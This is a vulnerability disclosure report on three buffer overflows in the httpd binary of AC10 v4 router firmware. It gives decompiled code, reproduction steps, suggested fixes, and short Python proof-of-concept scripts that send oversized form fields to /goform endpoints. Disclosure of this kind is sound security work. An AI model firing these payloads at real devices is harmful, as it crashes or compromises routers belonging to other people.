1. Buffer Overflow in Virtual_Data_Check

Affected model(s) and firmware/software version(s)

Product: AC10 v4

Version: US_AC10V4.0si_V16.03.10.20_cn

Binary: /bin/httpd

Vulnerability description and potential impacts

In formSetVirtualSer, it reads value of key list upto 0x200 bytes and passed as argument to function Virtual_Data_Check:

memset(acStack_514, 0, 0x100);
memset(auStack_414, 0, 0x201);
memset(auStack_210, 0, 0x201);
iVar1 = websSafeGetVar(param_1, 0xcc, "list", & DAT_004fb6b8, auStack_414);
if (iVar1 == 1) {
    printf("Error: Get WEB value failed, idx[%d],var[%s]\n", 0xcc, & DAT_004fb6bc);
    websTransfer_errCode(param_1, 1);
} else {
    memcpy(auStack_210, auStack_414, 0x201);
    iVar1 = Virtual_Data_Check(auStack_210);
    if (iVar1 == 0) {
        save_virtualser_data("adv.virtualser", auStack_414, 0x7e);

In Virtual_Data_Check, it uses sscanf with format string %[^,] and %s to parse from param1 to 4 local variables. But the list can take upto 0x200, which will cause buffer overflow:

undefined4 Virtual_Data_Check(char * param_1)
{
    ...
    local_198 = param_1;
    if ( * param_1 == '\0') {
        uVar3 = 0;
    } else {
        while (pcVar4 = strchr(local_198, L '~'), pcVar4 != 0x0) {
            ...
        }
        iVar5 = sscanf(local_198, "%[^,],%[^,],%[^,],%s", & local_168, & local_138, & local_128, & local_118);
        ...
    }
    return uVar3;
}

Step-by-step instructions to reproduce the issue

  • Step 1: Run httpd
  • Step 2: Run the script in the next section with first argument is ip of server

Proof-of-concept (PoC) or exploit code for the issue

#!/usr/bin/python3

import sys
import requests

payload = b'2,'*3
payload = payload.ljust(0x200, b'A')

def run():
    url = f"http://{sys.argv[1]}/goform/SetVirtualServerCfg"
    data = {
        'list': payload,
    }
    res = requests.post(url=url,data=data)

run()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Any suggested solutions to fix this

Reduce max size in websSafeGetVar for "list"

Severity (e.g. CVSS v3.x)

Buffer Overflow, possible command injection

Acknowledgement

Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One

Assigned CVE

Not yet

2. Buffer Overflow in route_static_check

Affected model(s) and firmware/software version(s)

Product: AC10 v4

Version: US_AC10V4.0si_V16.03.10.20_cn

Binary: /bin/httpd

Vulnerability description and potential impacts

In fromSetRouteStatic, it reads value of key list upto 0x200 bytes and passed as argument to function Virtual_Data_Check:

memset(acStack_514, 0, 0x100);
memset(auStack_414, 0, 0x201);
memset(auStack_210, 0, 0x201);
iVar1 = websSafeGetVar(param_1, 0xcb, "list", & DAT_004fb850, auStack_414);
if (iVar1 == 1) {
    printf("Error: Get WEB value failed, idx[%d],var[%s]\n", 0xcb, & DAT_004fb854);
    websTransfer_errCode(param_1, 1);
} else {
    memcpy(auStack_210, auStack_414, 0x201);
    iVar1 = route_static_check(auStack_210);
    if (iVar1 == 0) {
        save_staticroute_data ("adv.staticroute", auStack_414, L’~);

In route_static_check, it uses sscanf with format string %[^,] and %s to parse from param1 to 4 local variables. But the "list" can take upto 0x200, which will cause buffer overflow:

undefined4 route_static_check(char * param_1)
{
    ...
    local_58 = param_1;
    if ( * param_1 == '\0') {
        uVar1 = 0;
    } else {
        while (pcVar2 = strchr(local_58, L '~'), pcVar2 != 0x0) {
            ...
        }
        iVar3 = sscanf(local_58, "%[^,],%[^,],%[^,],%s", & local_4c, & local_3c, & local_2c, & local_1c);
        ...
    }
    return uVar1;
}

Step-by-step instructions to reproduce the issue

  • Step 1: Run httpd
  • Step 2: Run the script in the next section with first argument is ip of server

Proof-of-concept (PoC) or exploit code for the issue

#!/usr/bin/python3

import sys
import requests

payload = b'2,'*3
payload = payload.ljust(0x200, b'A')

def run():
    url = f"http://{sys.argv[1]}/goform/SetStaticRouteCfg"
    data = {
        'list': payload,
    }
    res = requests.post(url=url,data=data)

run()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Any suggested solutions to fix this

Reduce max size in websSafeGetVar for "list"

Severity (e.g. CVSS v3.x)

Buffer Overflow, possible command injection

Acknowledgement

Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One

Assigned CVE

Not yet

3. Possible Buffer Overflow in fromSysToolChangePwd

Affected model(s) and firmware/software version(s)

Product: AC10 v4

Version: US_AC10V4.0si_V16.03.10.20_cn

Binary: /bin/httpd

Vulnerability description and potential impacts

In fromSysToolChangePwd, it gets SYSOPS from request without limited the length:

sysops = websGetVar(param_1, "SYSOPS", & DAT_004fd3e0);
sysps = websGetVar(param_1, "SYSPS", & DAT_004fd3e0);
sysps2 = websGetVar(param_1, "SYSPS2", & DAT_004fd3e0);
GetValue("sys.userpass", & local_2c);
iVar1 = strcmp( & local_2c, sysops);
if ((iVar1 != 0) || (iVar1 = strcmp(sysps, sysps2), iVar1 != 0)) {
    websRedirect(param_1, "/system_password.html?1");
    return;
}
iVar1 = strcmp(sysops, sysps);
if (iVar1 == 0) {
    websRedirect(param_1, "/system_password.html");
    return;
}
SetValue("sys.userpass", sysps);

It first executes GetValue to get current password and compares to make sure the current password is correct, then it saves new password using SetValue. But because new password (which is SYSPS) isn’t limited in length so after we set new password, we execute fromSysToolChangePwd again, it gets current password via GetValue and can cause buffer overflow for local_2c variable.

Step-by-step instructions to reproduce the issue

  • Step 1: Run httpd
  • Step 2: Run the script in the next section with first argument is ip of server and second argument is old password

Proof-of-concept (PoC) or exploit code for the issue

#!/usr/bin/python3

import sys
import requests

payload = b'A'*0x200

def run():
    url = f"http://{sys.argv[1]}/goform/SysToolChangePwd"
    data = {
        "SYSOPS": sys.argv[2],
        "SYSPS": payload,
        "SYSPS2": payload
    }
    requests.post(url=url, data=data)
    requests.post(url=url, data=data)

run()

Any suggested solutions to fix this

Check password length before save

Severity (e.g. CVSS v3.x)

Possible Buffer Overflow, possible command injection

Acknowledgement

Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One

Assigned CVE

Not yet